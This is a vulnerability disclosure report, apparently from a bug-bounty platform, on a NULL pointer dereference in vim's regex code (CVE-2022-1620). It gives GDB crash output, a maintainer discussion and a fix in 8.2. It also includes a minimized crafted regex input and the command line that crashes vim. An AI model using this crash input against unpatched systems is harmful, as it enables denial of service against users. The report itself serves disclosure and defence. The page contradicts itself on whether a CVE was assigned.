

# NULL Pointer Dereference in function vim\_regexec\_string at regexp.c:2729 in vim/vim



Reported on Apr 27th 2022

## Description

NULL Pointer Dereference in function vim\_regexec\_string at regexp.c:2729 allows attackers to cause a denial of service (application crash) via a crafted input.

## POC

```
./vim -u NONE -X -Z -e -s -S ./poc_n.dat -c :qa!  
Segmentation fault
```

[poc\\_n.dat](#)

## GDB

— Output/messages —

```
[Thread debugging using libthread_db enabled]
```

```
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
```

```
Program received signal SIGSEGV, Segmentation fault.
```

```
0x0000000000d21602 in vim_regexec_string (rmp=0x7fffffff8aa0, line=0x606000  
2729      if (rmp->regprog->re_in_use)
```

— Assembly —

0x0000000000d215e7	vim_regexec_string+567	cmp	%cl,%al
0x0000000000d215e9	vim_regexec_string+569	jle	0xd215fb <vim_regexec_st
0x0000000000d215ef	vim_regexec_string+575	mov	0x118(%rbx),%rdi
0x0000000000d215f6	vim_regexec_string+582	callq	0x4a1350
0x0000000000d215fb	vim_regexec_string+587	mov	0x118(%rbx),%rdi
0x0000000000d21602	vim_regexec_string+594	cmpl	\$0x0,(%rax)

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```
0x0000000000d21605 vim_regexexec_string+597 je 0xd2166c <vim_regexexec_st
0x0000000000d2160b vim_regexexec_string+603 mov 0x175ed04,%ecx
0x0000000000d21612 vim_regexexec_string+610 mov $0x17259e0,%rax

0x0000000000d21619 vim_regexexec_string+617 mov (%rax),%rax
```

— Breakpoints —

— Expressions —

— History —

— Memory —

— Registers —

rax	0x0000000000000014	rbx	0x00007fffffff87a0	rcx	0x0000000000000000
r9	0x00000000000000e4bc	r10	0x00000000000000e404	r11	0x0000000000000000
cs	0x000000033	ss	0x00000002b	ds	0x000000000

— Source —

```
2724     int      result;
2725     regexec_T  rex_save;
2726     int      rex_in_use_save = rex_in_use;
2727
2728     // Cannot use the same prog recursively, it contains state.
2729     if (rmp->regprog->re_in_use)
2730     {
2731         emsg(_(e_cannot_use_pattern_recursively));
2732         return FALSE;
2733     }
```

— Stack —

```
[0] from 0x0000000000d21602 in vim_regexexec_string+594 at regexp.c:2729
[1] from 0x0000000000d220ba in vim_regexexec+90 at regexp.c:2812
[2] from 0x000000000053f2ae in fname_match+622 at buffer.c:2964
[3] from 0x000000000051afd4 in buflist_match+324 at buffer.c:2936
[4] from 0x0000000000515835 in buflist_findpat+4053 at buffer.c:2656
[5] from 0x00000000007f739e in do_one_cmd+50910 at ex_docmd.c:2532
[6] from 0x00000000007e49a6 in do_cmdline+14134 at ex_docmd.c:992
[7] from 0x0000000000e88e0d in do_source_ext+13725 at scriptfile.c:1674
[8] from 0x0000000000e85867 in do_source+103 at scriptfile.c:1801
[9] from 0x0000000000e8519d in cmd_source+2317 at scriptfile.c:1174
[+]
```

— Threads —

```
[1] id 2521650 name vim from 0x0000000000d21602 in vim_regexexec_string+594 at
```

— Variables —

```
arg rmp = 0x7fffffff8aa0: {regprog = 0x0,startp = {[0] = 0x
loc result = 32767, rex_save = {reg_match = 0x619000001c78,reg_mmatchn = 0x1
```

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```
>>> p rmp->regprog
$1 = (regprog_T *) 0x0
```

## Impact

NULL Pointer Dereference in function vim\_regexec\_string at regexp.c:2729 allows attackers to cause a denial of service (application crash) via a crafted input.

### CVE

CVE-2022-1620

(Published)

### Vulnerability Type

CWE-476: NULL Pointer Dereference

### Severity

Medium (6.6)

### Registry

Other

### Affected Version

\*

### Visibility

Public

### Status

Fixed

### Found by



TDHX ICS Security

@jieyongma

pro ▼

### Fixed by



Bram Moolenaar

@brammool

maintainer

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This report was seen 1,224 times.

We are processing your report and will contact the **vim** team within 24 hours. 7 months ago

We have contacted a member of the **vim** team and are waiting to hear back 7 months ago

We have sent a follow up to the **vim** team. We will try again in 7 days. 7 months ago

**Bram Moolenaar** 7 months ago

The POC looks like a bunch of random bytes. Please reduce to the minimal to reproduce the problem.

**TDHX** 7 months ago

Researcher

try to reduced the POC to:

```
vs00000000
b[0--]\&\zs*\zs*e
```

It's also downloadable at [poc\\_n\\_s](#)

Tested as following:

```
./vim -u NONE -X -Z -e -s -S /mnt/share/max/fuzz/poc/vim/poc_n_s.dat -c :qa!
Segmentation fault (core dumped)
```

**Bram Moolenaar** validated this vulnerability 7 months ago

Thanks, now I can reproduce it. It's a NULL pointer access caused by an invalid regexp.

**TDHX ICS Security** has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

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The researcher's credibility has increased: +7

**Bram Moolenaar** marked this as fixed in **8.2** with commit **8e4b76** 7 months ago

**Bram Moolenaar** has been awarded the fix bounty 

This vulnerability will not receive a CVE 



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